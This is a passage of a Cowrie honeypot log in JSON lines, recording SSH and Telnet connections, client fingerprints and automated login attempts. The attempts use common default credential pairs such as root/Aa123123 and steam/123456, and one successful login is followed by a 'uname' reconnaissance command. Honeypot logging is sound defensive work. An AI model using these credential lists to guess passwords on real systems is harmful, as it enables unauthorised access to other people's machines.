-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:42.633302Z","src_ip":"165.154.137.186","session":"568c926bf655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:43.424442Z","src_ip":"165.154.137.186","session":"568c926bf655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:44.688530Z","src_ip":"165.154.137.186","session":"568c926bf655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59096,"dst_ip":"159.203.135.109","dst_port":23,"session":"422fee38c9c5","protocol":"telnet","message":"New connection: 128.199.8.54:59096 (159.203.135.109:23) [session: 422fee38c9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:11.760859Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42692,"dst_ip":"159.203.135.109","dst_port":23,"session":"c121c4b1739c","protocol":"telnet","message":"New connection: 172.81.62.90:42692 (159.203.135.109:23) [session: c121c4b1739c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:17.962018Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39442,"dst_ip":"159.203.135.109","dst_port":23,"session":"1124821e435d","protocol":"telnet","message":"New connection: 172.81.62.90:39442 (159.203.135.109:23) [session: 1124821e435d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:17.965197Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44366,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b51e9ca04f7","protocol":"telnet","message":"New connection: 128.199.8.54:44366 (159.203.135.109:23) [session: 8b51e9ca04f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:20.089555Z"}
{"eventid":"cowrie.session.closed","duration":0.006108283996582031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:20.095516Z","src_ip":"128.199.8.54","session":"8b51e9ca04f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39650,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc30d0c6c1b1","protocol":"ssh","message":"New connection: 165.154.137.186:39650 (10.17.0.5:22) [session: fc30d0c6c1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:36.676636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:36.680689Z","src_ip":"165.154.137.186","session":"fc30d0c6c1b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:36.931483Z","src_ip":"165.154.137.186","session":"fc30d0c6c1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56118,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fd189c0d3a0","protocol":"ssh","message":"New connection: 165.154.137.186:56118 (10.17.0.5:22) [session: 3fd189c0d3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:37.204704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:37.209116Z","src_ip":"165.154.137.186","session":"3fd189c0d3a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:37.472832Z","src_ip":"165.154.137.186","session":"3fd189c0d3a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:37.687240Z","src_ip":"165.154.137.186","session":"fc30d0c6c1b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:38.262824Z","src_ip":"165.154.137.186","session":"3fd189c0d3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56132,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a75d5f09e1d","protocol":"ssh","message":"New connection: 165.154.137.186:56132 (10.17.0.5:22) [session: 2a75d5f09e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:38.527957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:38.532395Z","src_ip":"165.154.137.186","session":"2a75d5f09e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:38.787966Z","src_ip":"165.154.137.186","session":"2a75d5f09e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:38.956536Z","src_ip":"165.154.137.186","session":"fc30d0c6c1b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:39.529829Z","src_ip":"165.154.137.186","session":"3fd189c0d3a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:39.627400Z","src_ip":"165.154.137.186","session":"2a75d5f09e1d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:40.177965Z","src_ip":"165.154.137.186","session":"2a75d5f09e1d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:40.182115Z","src_ip":"165.154.137.186","session":"2a75d5f09e1d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:40.439462Z","src_ip":"165.154.137.186","session":"2a75d5f09e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:40.443480Z","src_ip":"165.154.137.186","session":"2a75d5f09e1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58262,"dst_ip":"10.17.0.5","dst_port":22,"session":"baa3c8210880","protocol":"ssh","message":"New connection: 165.154.137.186:58262 (10.17.0.5:22) [session: baa3c8210880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:49.949497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:49.954348Z","src_ip":"165.154.137.186","session":"baa3c8210880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:50.202307Z","src_ip":"165.154.137.186","session":"baa3c8210880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":48518,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea2a64046a67","protocol":"ssh","message":"New connection: 92.113.145.209:48518 (159.203.135.109:22) [session: ea2a64046a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:50.885318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:50.889811Z","src_ip":"92.113.145.209","session":"ea2a64046a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:50.947760Z","src_ip":"165.154.137.186","session":"baa3c8210880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:51.013319Z","src_ip":"92.113.145.209","session":"ea2a64046a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev1","password":"1234","message":"login attempt [dev1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:51.540972Z","src_ip":"92.113.145.209","session":"ea2a64046a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:52.203051Z","src_ip":"165.154.137.186","session":"baa3c8210880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:52.668483Z","src_ip":"92.113.145.209","session":"ea2a64046a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.28159785270691,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:54.246716Z","src_ip":"172.81.62.90","session":"1124821e435d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.77531409263611,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:54.737191Z","src_ip":"172.81.62.90","session":"c121c4b1739c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":34536,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc8830633392","protocol":"ssh","message":"New connection: 85.198.19.241:34536 (159.203.135.109:22) [session: cc8830633392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:59.567261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:11:59.573555Z","src_ip":"85.198.19.241","session":"cc8830633392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:00.010032Z","src_ip":"85.198.19.241","session":"cc8830633392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123!","message":"login attempt [root/Huawei123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:01.029167Z","src_ip":"85.198.19.241","session":"cc8830633392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:02.203219Z","src_ip":"85.198.19.241","session":"cc8830633392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":51462,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e1dead7040","protocol":"ssh","message":"New connection: 165.154.137.186:51462 (10.17.0.5:22) [session: 47e1dead7040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:04.005812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:04.014401Z","src_ip":"165.154.137.186","session":"47e1dead7040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:04.274404Z","src_ip":"165.154.137.186","session":"47e1dead7040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:05.101113Z","src_ip":"165.154.137.186","session":"47e1dead7040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:12:06.359078Z","src_ip":"165.154.137.186","session":"47e1dead7040","protocol":"ssh"}
